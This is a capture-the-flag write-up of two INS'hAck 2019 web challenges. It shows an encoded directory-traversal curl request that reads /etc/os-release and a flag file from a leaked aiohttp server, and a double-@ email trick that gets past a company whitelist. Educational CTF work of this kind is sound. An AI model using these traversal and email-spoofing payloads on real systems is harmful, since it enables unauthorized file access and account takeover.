INS'hAck 2019 - Write-ups

Table of contents
  1. ๐Ÿ”—Information
    1. ๐Ÿ”—CTF
  2. ๐Ÿ”—50 (Easy) - Exploring The Universe - Web
  3. ๐Ÿ”—240 (Easy) - atchap - Web

๐Ÿ”—Information

๐Ÿ”—CTF

๐Ÿ”—50 (Easy) - Exploring The Universe - Web

Will you be able to find the flag in the universe/ ?

I've been told that the guy who wrote this nice application called server.py is a huge fan of nano (yeah... he knows vim is better).

Goad: read the file universe/flag.

Hint: vim temporary files are .file.ext.swp

So let's try .server.py.swp: https://exploring-the-universe.ctf.insecurity-insa.fr/.server.py.swp.

So we are able to read the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pathlib import Path
from mimetypes import guess_type
from aiohttp import web

ROOT = Path().resolve()
print(ROOT)
PUBLIC = ROOT.joinpath('public')

async def stream_file(request, filepath):
'''Streams a regular file
'''
filepath = PUBLIC.joinpath(filepath).resolve()
if filepath.is_dir():
return web.Response(headers={'DT': 'DT_DIR'})
if not filepath.is_file():
raise web.HTTPNotFound(headers={'DT': 'DT_UNKNOWN'})
try:
filepath.relative_to(ROOT)
except:
raise web.HTTPForbidden(reason="You can't go beyond the universe...")
mime, encoding = guess_type(str(filepath))
headers = {
'DT': 'DT_REG',
'Content-Type': mime or 'application/octet-stream',
'Content-Length': str(filepath.stat().st_size)
}
if encoding:
headers['Content-Encoding'] = encoding
resp = web.StreamResponse(headers=headers)
await resp.prepare(request)
with filepath.open('rb') as resource:
while True:
data = resource.read(4096)
if not data: break
await resp.write(data)
return resp

async def handle_403(request):
'''Stream 403 HTML file
'''
return await stream_file(request, '403.html')

async def handle_404(request):
'''Stream 404 HTML file
'''
return await stream_file(request, '404.html')

def create_error_middleware(overrides):
'''Create an error middleware for aiohttp
'''
@web.middleware
async def error_middleware(request, handler):
'''Handles specific web exceptions based on overrides
'''
try:
response = await handler(request)
override = overrides.get(response.status)
if override:
return await override(request)
return response
except web.HTTPException as ex:
override = overrides.get(ex.status)
if override:
return await override(request)
raise
return error_middleware

def setup_error_middlewares(app):
'''Setup error middleware on given application
'''
error_middleware = create_error_middleware({
403: handle_403,
404: handle_404
})
app.middlewares.append(error_middleware)

async def root(request):
'''Web server root handler
'''
path = request.match_info['path']
if not path:
path = 'index.html'
path = Path(path)
print(f"client requested: {path}")
return await stream_file(request, path)

def app():
app = web.Application()
setup_error_middlewares(app)
app.add_routes([web.get(r'/{path:.*}', root)])
web.run_app(app)

if __name__ == '__main__':
app()

Looks like the code will allow us some LFI and directory path traversal.

Also we can use a search engine with aiohttp vulnerability and find that a Snyc report stating that a Directory Traversal vulnerability is Affecting aiohttp package, versions [,0.16.3).

An un-existing path will return this message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl https://exploring-the-universe.ctf.insecurity-insa.fr/noraj
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Exploring A BlackHole</title>
<meta name="description" content="Exploring A BlackHole">
<meta name="author" content="koromodako">
<link rel="stylesheet" href="/css/404.css">
</head>
<body>
<h1 class="error">You fell in a black hole!</h1>
</body>
</html>

An unauthorized but existing path will return:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl https://exploring-the-universe.ctf.insecurity-insa.fr/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/os-release
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Witnessing Doomsday</title>
<meta name="description" content="Witnessing Doomsday">
<meta name="author" content="koromodako">
<link rel="stylesheet" href="/css/403.css">
</head>
<body>
<h1 class="error">You witness the Earth exploding!</h1>
</body>
</html>

And an existing and allowed path will be read and returned:

1
2
$ curl https://exploring-the-universe.ctf.insecurity-insa.fr/public/%2e%2e/%2e%2e/universe/flag
INSA{3e508f6e93fb2b6de561d5277f2a9b26bc79c5f349c467a91dd12769232c1a29}

๐Ÿ”—240 (Easy) - atchap - Web

This is a message to all ATchap employees. Our new communication software is now in a beta mode. To register, just enter you email address, you'll receive shortly the activation code.

Looks like a big nod to the recent vulnerabilities found in Tchap [1][2] French secure instant chat app.

So we'll try to exploit the same vulnerability and look for a legitimate email, we can find one at theinshack2019 bottom of the page:

Contact us at firstname.lastname@almosttchap.fr

If giving a un-legitimate email address we get an error: You're not whitelisted or not part of the company..

So from a controlled norajinshack2019@yopmail.com we can craft:

  • norajinshack2019@yopmail.com@Maud.Erateur@almosttchap.fr
  • norajinshack2019@yopmail.com@Guy.Liguili@almosttchap.fr
  • norajinshack2019@yopmail.com@Samira.Bien@almosttchap.fr

Login with one of those we have a message: Mail sent, check your spam folder.

Then we received and email from inshack.mail1@gmail.com containing:

1
2
Here is your flag : INSA{1fd9fa56444a424d}
.. Remember to make responsible disclosure ;)
Share